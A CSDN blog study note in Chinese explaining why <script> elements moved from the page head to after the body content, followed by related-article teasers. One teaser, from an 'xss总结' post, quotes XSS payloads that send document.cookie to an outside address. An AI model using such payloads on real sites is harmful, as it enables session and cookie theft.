2.1.1＜script＞标签位置

最新推荐文章于 2024-07-08 10:04:44 发布
最新推荐文章于 2024-07-08 10:04:44 发布
阅读量28 收藏
点赞数 1
分类专栏： JavaScript高级程序设计笔录 文章标签： javascript 前端 html
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42776017/article/details/130857985
版权

过去，所有的 <script> 元素都被放在 标签内，如这样：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="example1.js"></script>
    <script src="example2.js"></script>
</head>
<body>
	<!-- 这里是页面内容！ -->
</body>
</html>

这种做法将所有的css和JavaScript文件都放在 元素中，会导致页面渲染的明显延迟，在此期间浏览器窗口完全空白，很影响用户体验。因为这样做也就意味着必须把所有的JavaScript代码下载，解析和解释完毕后，才能开始渲染页面（页面在解析到 的起始标签时开始渲染）。为解决这个问题，现代Web应用程序通常将所有的JavaScript引用放在 元素中的页面内容的后面。
这样一来，页面在处理JavaScript代码之前渲染页面，用户感觉页面加载更快了，因为浏览器显示空白的时间更短了。

青龙卧深潭
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
前端——HTML
LiLiLiLaLa的博客
04-22 8096
1.前端三门技术 学习Web前端技术需要掌握三门基本技术：HTML，CSS，JavaScript： HTML：HTML是网页内容的载体。内容就是网页制作者放在页面上想要用户浏览的信息，可以包含文件、图片、视频等 CSS：CSS样式是表现，就像网页的外衣比字体、颜色变化等 JavaScript：JavaScript用来实现网页上的特效效果。比如鼠标滑过弹出下拉菜单、鼠标滑过北京颜色改变等 使用工...
前端script引入公共的代码
qq_38822390的博客
05-27 701
在做前端网页的时候，会涉及到很多界面，有的时候，这些界面都会有重复的代码，比如侧边栏菜单的重复代码，头部导航的 重复代码，底部的重复代码，这个时候，为了使每个页面的代码看起来简洁明了，我们需要把这些重复的代码放到公共的页面里面，在具体页面只需引用即可。 主要代码 <div id="head"></div> <div id="side"></div> ...
＜a＞标签 return false了，竟还能跳转
liujianko的博客
08-06 1390
背景 前些天在 IE 浏览器测试功能的时候，点击某处功能触发函数时，alert 了一个错误提示，接着点击 alert 的确定按钮，页面发生了跳转，并仅展示了 false，结果就如下图。 一开始没留意到是 a 标签，增加了不少排查时间。如今问题处理完了，然后做个了一些对比测试，所以总结一下。 正文 先贴个测试代码 <html> <head> <title>test</title> <meta http-equiv="Content-Type" cont
2.1 <script>元素【JavaScript高级程序设计第三版】
weixin_30770783的博客
05-02 103
向 HTML 页面中插入 JavaScript 的主要方法，就是使用<script>元素。这个元素由 Netscape 创造并在 Netscape Navigator 2 中首先实现。后来，这个元素被加入到正式的 HTML 规范中。 HTML 4.01 为<script>定义了下列 6 个属性。 async：可选。表示应该立即下载脚本，但不应妨碍页面中的其他操作，比如...
不使用<script>导入js文件
weixin_30488085的博客
08-25 87
方法一:原生 　adc.js 　varhello = "H9"; 　　html.html 　　<script> var s = document.createElement("script"); s.src = "abc.js"; document.head.appendChil...
2.1.1 script标签的位置
dao-keer
01-11 248
script标签在html文档中的位置 经过尝试在html文档的各个部分插入标签引入外部JavaScript文件，发现所有位置的JavaScript文件都成功加载了，包括标签内外，标签之间的奇葩位置，最后在开发者工具下，发现在html的结构中，浏览器已经自动把这些文件放到了相当合理的位置上了，随意插入JavaScript文件的做法肯定是不可取的，下面就最佳方式做个简单的介绍 外部JavaScr
Bootstrap<基础六> 表单
03-18 111
Bootstrap 通过一些简单的 HTML 标签和扩展的类即可创建出不同样式的表单。 表单布局 Bootstrap 提供了下列类型的表单布局： 垂直表单（默认） 内联表单 水平表单 垂直或基本表单 基本的表单结构是 Bootstrap 自带的，个别的表单控件自动接收一些全局样式。下面列出了创建基本表单的步骤： 向父 <form> 元素添加...
xss总结
qq_43550748的博客
01-30 312
xss总结 1.常用payload 1.//配合xss后台使用 <script>document.location='http://127.0.0.1?cookie=' + document.cookie</script> 或 <img src=x onerror=a=document.cookie;document.location='http://192.168....
Angular中集成Script脚本你还不会？看这篇就够了
qq_40677590的博客
04-17 2210
背景： 最近在做angular项目时，需要集成一个控件，其中需要引入最新的js文件，所以我们要使用： <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 像这样的方式，并需要写一些初始化的逻辑显示此控件。 先看看效果： 分析： angula...
PDFObject-2.1.1.zip
08-04
1. **引入库**：首先，你需要在HTML文件中通过`<script>`标签引入PDFObject.js。你可以将其下载到本地项目中，或者从CDN等远程源加载。 ```html <script src="PDFObject.js"></script> ``` 2. **准备PDF URL**：...
Web前端高级作业一.txt
02-24
2.1.1表格标签<table>,常常用于显示内容 表格标题：<caption></caption> 表格头：<thead><tr><th></th></tr></thead> 表格体：<tbody><tr><td></td></tr></tbody> 表格尾：<tfoot><tfoot> table标签里还可以...
JQuery最新js包(jquery-2.1.1.js)
05-18
然后，在`<script>`标签中编写jQuery代码，通常放在`<body>`标签的底部，以确保DOM加载完成后再执行： ```html <script> $(document).ready(function(){ // jQuery代码在这里 }); </script> ``` 以上就是关于...
FisherCloud.github.io：FisherCloud的个人博客（博客）
02-13
7. HTML与JavaScript交互：通过`<script>`标签引入JavaScript代码，可以实现动态效果和交互性。FisherCloud可能会分享如何使用DOM（Document Object Model）操作HTML元素，以及事件监听等技巧。 通过阅读...
phantomis-2.1.1
07-25
标题"phantomis-2.1.1"指的是PhantomJS的一个特定版本，即2.1.1，这可能是一个针对Windows操作系统的版本。 PhantomJS的优势在于其无头特性，意味着它可以在没有用户界面的情况下运行，这对于自动化任务来说非常...
基于springboot+vue+uniapp的贵工程寝室快修小程序
老卓爱爪哇 的博客
07-08 951
贵工程寝室快修小程序使用Java语言进行编码，使用Mysql创建数据表保存本系统产生的数据。系统可以提供信息显示和相应服务，其管理贵工程寝室快修小程序信息，查看贵工程寝室快修小程序信息，管理贵工程寝室快修小程序。 总之，贵工程寝室快修小程序集中管理信息，有着保密性强，效率高，存储空间大，成本低等诸多优点。它可以降低信息管理成本，实现信息管理计算机化。
ES6 新特性有哪些
weixin_64684095的博客
07-06 1254
1. 拥有块级作用域，这意味着在 if 语句、for 循环、while 循环等代码块中声明的 let 变量，只在该代码块内有效。2. 不允许在同一作用域内重复声明同一个变量1. 也具有块级作用域。2. 声明时必须进行初始化赋值，且赋值后不能再重新赋值修改其值。3. 如果 const 声明的是一个对象或数组，虽然不能重新赋值整个对象或数组，但可以修改对象的属性值或数组的元素值。
vue-使用Worker实现多标签页共享一个WebSocket
最新发布
qq_43548590的博客
07-08 1082
最近有一个需求，需要实现用户系统消息时时提醒功能。第一时间就是想用WebSocket进行长连接。但是前端项目点击跳转需要打开新的标签页。这个时间就会出现新的标签页打开会把老的WebSocket连接挤掉。然后就想到了去共享一个WebSocket连接。就能实现多个标签页消息共享了。
Vue 3集成krpano 全景图展示
Mr丶GUO
07-06 419
Vue 3集成krpano 全景图展示，需要借助官方工具进行制作注意事项：vue@cli3没有static，需要放在public目录下。
<!DOCTYPE html> <html lang="en" xmlns:th="http://www.w3.org/1999/xhtml"> <head> <title>register</title> <script th:src="@{/js/jquery-2.1.1.min.js}" type="text/javascript"></script> <script th:src="@{/js/vue.min.js}" type="text/javascript"></script> <script src="https://unpkg.com/element-ui/lib/index.js"></script> <title>登录表单</title> <meta name="keywords" content="登录表单"/> <!-- Meta-Tags --> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <!-- //Meta-Tags --> <!-- Style --> <link rel="stylesheet" href="/./css/style.css" type="text/css" > </head> <body> <h1>注册表单</h1> <div class="container w3layouts agileits"> <div class="register w3layouts agileits" id="app"> <h2>注 册</h2> <form action="#" method="post"> <input type="text" Name="Name" placeholder="用户名" required=""> <input type="text" Name="Email" placeholder="邮箱" required=""> <input type="password" Name="Password" placeholder="密码" required=""> <input type="text" Name="Phone Number" placeholder="手机号码" required=""> </form> <div class="send-button w3layouts agileits"> <button @click="turnToRegister">注册</button> </div> <div class="clear"></div> </div> <div class="clear"></div> </div> <script> //新建一个Vue对象。 new Vue({ //绑定作用域 el: "#app", //绑定数据 data: {//双向绑定数据 user: { name: "", password: "", } }, //绑定方法； methods: { addOne() { //适用ajax进行数据交互 $.ajax({ url: "/user/insertOne",//请求的路径 type: "post",//请求的方式 data: { name: this.user.name,//获取user里面的数据并且进行绑定； password: this.user.password, }, //返回数据的格式 dataType: "json", //成功返回方式 success: function (rs) { if (rs.status == 200) {//rs获取状态码看是否成功 layer.alert(rs.msg, {icon: 6}, function () { //获取ifram层的窗口名 var frameIndex = parent.layer.getFrameIndex(window.name); parent.layer.close(frameIndex); parent.location.reload() location.href="/login" }) } else { layer.alert(rs.msg, {icon: 5}, function () { //获取ifram层的窗口名 var frameIndex = parent.layer.getFrameIndex(window.name); parent.layer.close(frameIndex); }) } } }) } } }) </script> </body> </html> 帮我以上代码实现注册功能成功后，新增一个小弹窗，弹窗内容是注册成功
05-24
<script th:src="@{/js/jquery-2.1.1.min.js}" type="text/javascript"></script> <script th:src="@{/js/vue.min.js}" type="text/javascript"></script> <link rel="stylesheet" href=...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值